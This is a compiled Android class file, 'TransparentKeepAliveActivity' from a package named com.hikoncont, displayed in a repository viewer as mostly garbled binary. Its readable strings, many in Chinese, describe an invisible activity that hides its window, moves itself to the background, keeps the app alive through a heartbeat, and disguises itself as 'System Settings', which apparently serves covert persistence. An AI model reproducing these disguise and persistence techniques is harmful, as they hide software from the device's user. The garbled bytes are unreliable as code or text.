Files
and-bak/app/build/tmp/kotlin-classes/debug/com/hikoncont/TransparentKeepAliveActivity.class

106 lines
13 KiB
Plaintext
Raw Normal View History

2026-02-11 16:59:49 +08:00
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<01>*com/hikoncont/TransparentKeepAliveActivityandroid/app/Activity<init>()V 
java/lang/Object
 keepAliveLockLjava/lang/Object; this,Lcom/hikoncont/TransparentKeepAliveActivity;onCreate(Landroid/os/Bundle;)V$Lorg/jetbrains/annotations/Nullable;java/lang/Exception 
TransparentKeepAlive!<21><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 透明保活Activity创建android/util/Logi'(Ljava/lang/String;Ljava/lang/String;)I 
! Companion6Lcom/hikoncont/TransparentKeepAliveActivity$Companion; #$ %instance ' (overridePendingTransition(II)V *+
,android/os/Handler.android/os/Looper0 getMainLooper()Landroid/os/Looper; 23
14(Landroid/os/Looper;)V 6
/7onCreate$lambda$0/(Lcom/hikoncont/TransparentKeepAliveActivity;)V :;
<="java/lang/invoke/LambdaMetafactory? metafactory<00>(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodType;Ljava/lang/invoke/MethodHandle;Ljava/lang/invoke/MethodType;)Ljava/lang/invoke/CallSite; AB
@CDrunB(Lcom/hikoncont/TransparentKeepAliveActivity;)Ljava/lang/Runnable; FGHpost(Ljava/lang/Runnable;)Z JK
/LonCreate$lambda$1 N;
OPH<01> postDelayed(Ljava/lang/Runnable;J)Z UV
/W'❌ 透明保活Activity初始化失败Yjava/lang/Throwable[e<(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I ]^
_Ljava/lang/Exception;savedInstanceStateLandroid/os/Bundle;onResume d
e!<21><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 透明保活Activity恢复gd i
jhideWindowImmediately l
mforceReleaseFocus o
p!setupTransparentWindowImmediately r
sforceTransparentWindow u
vonResume$lambda$2 x;
yzHd$❌ 透明保活Activity恢复失败onPause <00>
<00>!⏸️ 透明保活Activity暂停<00>❌ 暂停时隐藏窗口失败<00>onStop <00>
<00>!⏹️ 透明保活Activity停止<00>❌ 停止时隐藏窗口失败<00> onDestroy <00>
<00>!<21><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 透明保活Activity销毁<00>finish❌ 禁用结束动画失败<00> <00>
<00>ultraFastHideWindow!Landroid/annotation/SuppressLint;value WrongConstant getWindow()Landroid/view/Window; <00><00>
<00>android/view/Window<00> getDecorView()Landroid/view/View; <00><00>
<00><00>android/view/View<00> setVisibility(I)V <00><00>
<00><00>setAlpha(F)V <00><00>
<00><00>addFlags <00><00>
<00><00>
clearFlags <00><00>
<00><00>  getAttributes+()Landroid/view/WindowManager$LayoutParams; <00><00>
<00><00>'android/view/WindowManager$LayoutParams<00>alphaF <00><00> <00><00>xI <00><00> <00><00>y <00><00> <00><00>width <00><00> <00><00>height <00><00> <00><00>gravity <00><00> <00><00> setAttributes,(Landroid/view/WindowManager$LayoutParams;)V <00><00>
<00><00> setLayout <00>+
<00><00>setBackgroundDrawable'(Landroid/graphics/drawable/Drawable;)V <00><00>
<00><00>
clearFocus <00>
<00><00>clearAnimation <00>
<00><00>moveTaskToBack(Z)Z <00><00>
<00>K⚡ 超快速隐藏窗口完成焦点已释放Activity已移到后台<00>❌ 超快速隐藏窗口失败<00>windowLandroid/view/Window;
attributes)Landroid/view/WindowManager$LayoutParams; dimAmount <00><00> <00><00>android/os/Build$VERSION<00>SDK_INT <00><00> <00><00>setDecorFitsSystemWindows(Z)V <00><00>
<00><00>%<25><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 立即透明窗口设置完成<00>"❌ 立即设置透明窗口失败setupTransparentWindowsetupTransparentWindow$lambda$3(Landroid/view/Window;)V 
+(Landroid/view/Window;)Ljava/lang/Runnable; F <00>❌ 设置透明窗口失败 disguiseAsSystemSettings 系统设置java/lang/CharSequencesetTitle(Ljava/lang/CharSequence;)V 
<1F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 极简伪装设置完成❌ 伪装成系统设置失败startKeepAliveServicesisKeepAliveStartedZ  1⚠ 保活服务已启动,跳过重复启动! kotlin/Unit#INSTANCE Lkotlin/Unit; %& $'<19><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 启动保活服务)startKeepAliveServices$lambda$6 +;
,-H❌ 启动保活服务失败0H$i$a$-synchronized-TransparentKeepAliveActivity$startKeepAliveServices$1H$i$a$-synchronized-TransparentKeepAliveActivity$startKeepAliveServices$3<1C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 窗口已立即隐藏4❌ 立即隐藏窗口失败6setBackgroundColor 8<00>
<00>9%<25><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 强制透明窗口设置完成;"❌ 强制设置透明窗口失败=N<><4E><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 焦点已强制释放Activity已移到后台确保不阻断输入?❌ 强制释放焦点失败Athis$0Ckotlin/jvm/internal/IntrinsicsEcheckNotNullParameter'(Ljava/lang/Object;Ljava/lang/String;)V GH
FI <00>
K(✅ 异步窗口设置完成避免ANRM❌ 异步窗口设置失败O+com/hikoncont/util/InstallationStateManagerQ7Lcom/hikoncont/util/InstallationStateManager$Companion; #S RTandroid/content/ContextV5com/hikoncont/util/InstallationStateManager$CompanionX getInstanceH(Landroid/content/Context;)Lcom/hikoncont/util/InstallationStateManager; Z[
Y\isInstallationComplete()Z ^_
R`java/lang/StringBuilderb
c!<21><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 安装完成状态检查: eappend-(Ljava/lang/String;)Ljava/lang/StringBuilder; gh
ci(Z)Ljava/lang/StringBuilder; gk
cltoString()Ljava/lang/String; no
cpB⚠ 安装未完成透明保活Activity无效直接关闭rw t
u
<00> 
x 
z0<><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 透明保活Activity专注于保活任务|'✅ 透明保活Activity初始化完成~installationStateManager-Lcom/hikoncont/util/InstallationStateManager;<<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 透明保活Activity保持透明状态进行保活<01>%<25><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 完全透明窗口设置完成<01>$window(startKeepAliveServices$lambda$6$lambda$5&com/hikoncont/service/HeartbeatManager<01>2Lcom/hikoncont/service/HeartbeatManager$Companion; #<01> <01><01>0com/hikoncont/service/HeartbeatManager$Companion<01>C(Landroid/content/Context;)Lcom/hikoncont/service/HeartbeatManager; Z<01>
<01><01>updateHeartbeat <01>
<01><01>1✅ 保活服务启动完成(只更新心跳)<01>❌ 更新心跳失败<01>java/lang/Thread<01> <01>;
<01><01>H(Ljava/lang/Runnable;)V <01>
<01><01>start <01>
<01><01>"❌ 启动心跳更新线程失败<01>access$getInstance$cp.()Lcom/hikoncont/TransparentKeepAliveActivity;<clinit>4com/hikoncont/TransparentKeepAliveActivity$Companion<01>1(Lkotlin/jvm/internal/DefaultConstructorMarker;)V <01>
<01><01>#Lorg/jetbrains/annotations/NotNull;TAGLjava/lang/String;Lkotlin/Metadata;mvkxi0d1<02><>(




<EFBFBD><EFBFBD>
<10><>
<EFBFBD><EFBFBD>




<18><> 20:B¢J0HJ 0HJ
0HJ 0HJ 0HJ 020HJ0HJ0HJ0HJ0HJ0HJ0HJ0HJ0HR0X‚¢
<EFBFBD><EFBFBD>R0X‚¢
<EFBFBD><EFBFBD>¨d2Landroid/app/Activity; app_debug*android/app/Activity$ScreenCaptureCallback<01>ScreenCaptureCallback+android/app/ActivityManager$TaskDescription<01>android/app/ActivityManager<01>TaskDescription2android/app/Application$ActivityLifecycleCallbacks<01>android/app/Application<01>ActivityLifecycleCallbacks(android/content/Context$BindServiceFlags<01>BindServiceFlags#android/content/res/Resources$Theme<01>android/content/res/Resources<01>Theme4android/database/sqlite/SQLiteDatabase$CursorFactory<01>&android/database/sqlite/SQLiteDatabase<01> CursorFactoryandroid/os/Build<01>VERSION android/view/ActionMode$Callback<01>android/view/ActionMode<01>Callback(android/view/ContextMenu$ContextMenuInfo<01>android/view/ContextMenu<01>ContextMenuInfo#android/view/ViewGroup$LayoutParams<01>android/view/ViewGroup<01> LayoutParamsandroid/view/WindowManager<01>TransparentKeepAliveActivity.ktRuntimeInvisibleAnnotations ConstantValueCodeLineNumberTableLocalVariableTable StackMapTable$RuntimeInvisibleParameterAnnotations InnerClasses
SourceFileRuntimeVisibleAnnotationsBootstrapMethods1#$<01><01> <01><01><01><01><01><01><01>
'<01><01>B*<2A>*<2A>
Y<EFBFBD> <0B><0F><01>o<01> <01><00>X*+<2B><1C>"W<00>&W*<2A>)*<03>-<2D>/Y<>5<>8*<2A>I<00>MW<4D>/Y<>5<>8*<2A>RS<>XW<58>MZ,<2C>\<5C>`W<> GJ<01> <02>J <01>2 () +,/20L@kCLJmKnWp<01> K ]aXXbc<01>d<01><00>K*<2A>fh<>kW*<03>-*<2A>n*<2A>q*<2A>t*<2A>w<>/Y<>5<>8*<2A>|}<7D>XW<58>L<12>+<2B>\<5C>`W<> :=<01>} <01>:st v x{~<00><00>#<00>3<00>6<00>=<00>><00>J<00><01>> ]aK<00><01><00>"*<2A><00><12><>kW*<2A>n<>L<12>+<2B>\<5C>`W<> <01>T <01><00><00> <00> <00><00><00>!<00><01> ]a"<00><01><00>"*<2A><00><12><>kW*<2A>n<>L<12>+<2B>\<5C>`W<> <01>T <01><00><00> <00> <00><00><00>!<00><01> ]a"<00><01>K*<2A><00><12><>"W<>&W<01>)<29><01><00><00> <00><00><01> <00><01><00>$*<03>-<2D>L<12>+<2B>\<5C>`W<>&W<01>)*<2A><00><>
<01>J <01><00><00>
<00> <00><00><00>#<00><01> ]a$<00><01><00>*<2A><00>L+<2B><00><08><00>+<2B><00> <0B><00>+<10><00>+<08><00>+ <20><00>+<05><00>+<07><00>+<12><><00>+<12><><00>+<00><><00>+<2B><00>M, <0B><00>,<11><18><00>,<11><18><00>,<03><00>,<03><00>,3<><00>+,<2C><00>+<03><00>+<01><00>+<2B><00><><00>+<2B><00><><00>*<04><00>W<12><>kW<6B>L<12>+<2B>\<5C>`W<><00><00><01><02><00><16> 
<01>v<00><00><00><00><00><00>#<00>)<00>.<00>3<00>9<00>?<00>F<00>K<00>P<00>W<00>^<00>c<00>h<00>n<00>s<00>y<00>~<00><00><00><00><00><00><00><00><00><00><00><00><00><01>*<00><00><00>KO<00><00><00> ]a<00><01><00><00>[s<00>r<01>}<00>*<2A><00>L+ <20><00>+<08><00>+<10><00>+<00><00>+<12><><00>+<00><00>+<12><><00>+<2B><00>M, <0B><00>, <0B><00>,<11><18><00>,<11><18><00>,<03><00>,<03><00>+,<2C><00>+<03><00>+<01><00>+<2B><00><08><00>+<2B><00> <0B><00><><00><1E>+<03><00><12><>kW<6B>L+<2B>\<5C>`W<><00><00><01><03><00><00><00><>
<16> 
<01>n  %
, 27<AHOTY^dirz <00>!<00>$<00>&<00>'<00>)<01>*<00><00><00>7X<00><00><00> ]a<00><01><00><00>[s<00><01><00>/*<2A><00>L<EFBFBD>/Y<>5<>8+<2B>
 <0B>XW<58>L+<2B>\<5C>`W<> <01> `<16> 
<01>"014X4 Z![.]<01> <00><00>! ]a/<01><00><00>[s<00><01><00>&*<11><13><19>kW<6B>L+<2B>\<5C>`W<><01>W <01>ce fhi%k<01> ]a&<01><01><00>*<2A>M,<2C>>*<2A> <20>"<22>kW,ñ*<04> <00>(N,çN,<2C>-<2D>*<2A>"W<>/Y<>5<>8*<2A>/ <0B>XW<58>3L1+<2B>\<5C>`W*<2A>N-<2D>6*<03> <00>(:
:-<2D><04><>-(--.-kz<00>2SV<01>L<06>
<01>
\<5C>$c<16>(

\<5C>

<01>Nu
vwx{#|'u2~3<<01>L<01>O<01>V<01>W<01>d<01>o<01>t<01>x<01><00><01><01>4
2<00>2<00>o3<00>W/]a<00>l<01>~<00>*<2A><00>L+<2B><00><08><00>+<2B><00> <0B><00>+<10><00>+<08><00>+ <20><00>+<00><00>+<12><><00>+<00><00>+<12><><00>+<2B><00>M, <0B><00>, <0B><00>,<11><18><00>,<11><18><00>,<03><00>,<03><00>+,<2C><00>+<03><00>+<01>ݲ<00><1E>+<03><00>5<>kW<6B>L7+<2B>\<5C>`W<><00><00><01><03><00><00><00><> <16> 
<01>n<01><01><01><01><01><01>#<01>)<01>0<01>6<01>=<01>C<01>H<01>M<01>R<01>Y<01>`<01>e<01>j<01>o<01>u<01>z<01><00><01><00><01><00><01><00><01><00><01><01>*<00><00><00>HH<00><00><00> ]a<00>u<01><01><00>*<2A><00>L+<05><00>+<07><00>+ <20><00>+<08><00>+<10><00>+<00><00>+<12><><00>+<00><00>+<12><><00>+<00><00>+<2B><00>M, <0B><00>, <0B><00>,<11><18><00>,<11><18><00>,<03><00>,<03><00>,3<><00>+,<2C><00>+<03><00>+<01><00>+<2B><00><08><00>+<2B><00> <0B><00>+<2B><00><03>:<3A><00><1E>+<03><00><<3C>kW<6B>L>+<2B>\<5C>`W<><00><00><01><03><00><00><00><> <16> 
<01><00> <01><01><01> <01><01><01><01>"<01>)<01>/<01>6<01><<01>C<01>H<01>M<01>R<01>Y<01>`<01>e<01>j<01>p<01>u<01>{<01><00><01><00><01><00><01><00><01><00><01><00><01><00><01><00><01><00><01><01>*<00><00><00>Hg<00><00><00> ]a<00>o<01>w<00>*<2A><00>L+<2B><00><><00>+<2B><00><><00>+<10><00>+<08><00>+ <20><00>+<05><00>+<07><00>+<12><><00>+<12><><00>+<00><><00>+<2B><00>M, <0B><00>,<11><18><00>,<11><18><00>,<03><00>,<03><00>+,<2C><00>+<03><00>+<01><00>+<2B><00><08><00>+<2B><00> <0B><00>*<04><00>W@<40>kW<6B>LB+<2B>\<5C>`W<><00><00><01><02><00><16> 
<01>r    &+06<CHMT[`ej p!u$~%<00>(<00>*<00>,<00>-<00>/<01>*<00><00><00>HM<00><00><00> ]a<00>:;<01><00>7*D<>J*<2A>L*<2A>q*<2A>t*<2A>w*<2A>nN<>kW<6B>LP+<2B>\<5C>`W<>%(<01>h <01>*
35 8;>AC(E)F6H<01>) ]a7CN;<01>!s*D<>J<00>U*<2A>W<>]L+<2B>a=<1A>cY<63>df<>j<1C>m<>q<>kW<1C>s<>vW*<2A>w<>*<2A>n*<2A>y*<2A>{}<7D>kW<>"W<>LZ+<2B>\<5C>`W<>be<01><03>DR<01> <16> 
<01>BMOPR2T6U?VCWD[H^LaPdYfehfirk<01>*O<01><01>J^f ]asCx;<01><00>**D<>J*<2A>n*<2A>{<01><>kW<6B>L<12>+<2B>\<5C>`W<><01>\ <01><00><00> <00><00><00><00>)<00><01> ]a*C<01>A<00>* <20><00>*<08><00>*<10><00>*<00><00>*<12><><00>*<2A><00>L+ <0B><00>+ <0B><00>+<11><18><00>+<11><18><00>*+<2B><00>*<03><00>*<01><00>*<2A><00><08><00>*<2A><00> <0B><00><><00><1E>*<03><00><01><>kW<6B>L+<2B>\<5C>`W<>tw<01><03>k<00><> <00><16> 
<01>Z578 9:; >%?*@/A6B=CBFHIMLVM^PfQkTwUxV<00>X<01> %O<00><00>x ]a<00><01><00><01>;<01><00>0*D<>J<00><01>*<2A>W<><01><><01><01><>"W<>L<01>+<2B>\<5C>`W<>!<01>a <01><01><01><01>!<01>"<01>/<01><01>" ]a0C+;<01><00>**D<>J<00><01>Y*<2A><01><00><01><><01><>L<01>+<2B>\<5C>`W<><01>[ <01>"<01><01> <01><01><01><01><01>)<01><01> ]a*C<01><01><01><04>)<29><01><01><01> <0C><01>Y<01><01><>&<26><01>r<01><01> <01><01><01> <01><01><01> <01>W<01><01><01><01><01><01><01> <00><01><01> <01><01><01> <01><01><01> <01><01><01> <00><01><01> <01>#<01><01>#YR#<01><01><01>y<01><01>[I<01>I<01>I<01><01>I<01><01>I<01><01>[s<01><01>[ss<01>sss<01>s s<01>ss<01>s<00>sosuslssbscs<00>s<00>sds<00>ssrss<00>s#s<01><01>>E9>9E9Q9E9{9E99E9.9E9<01>9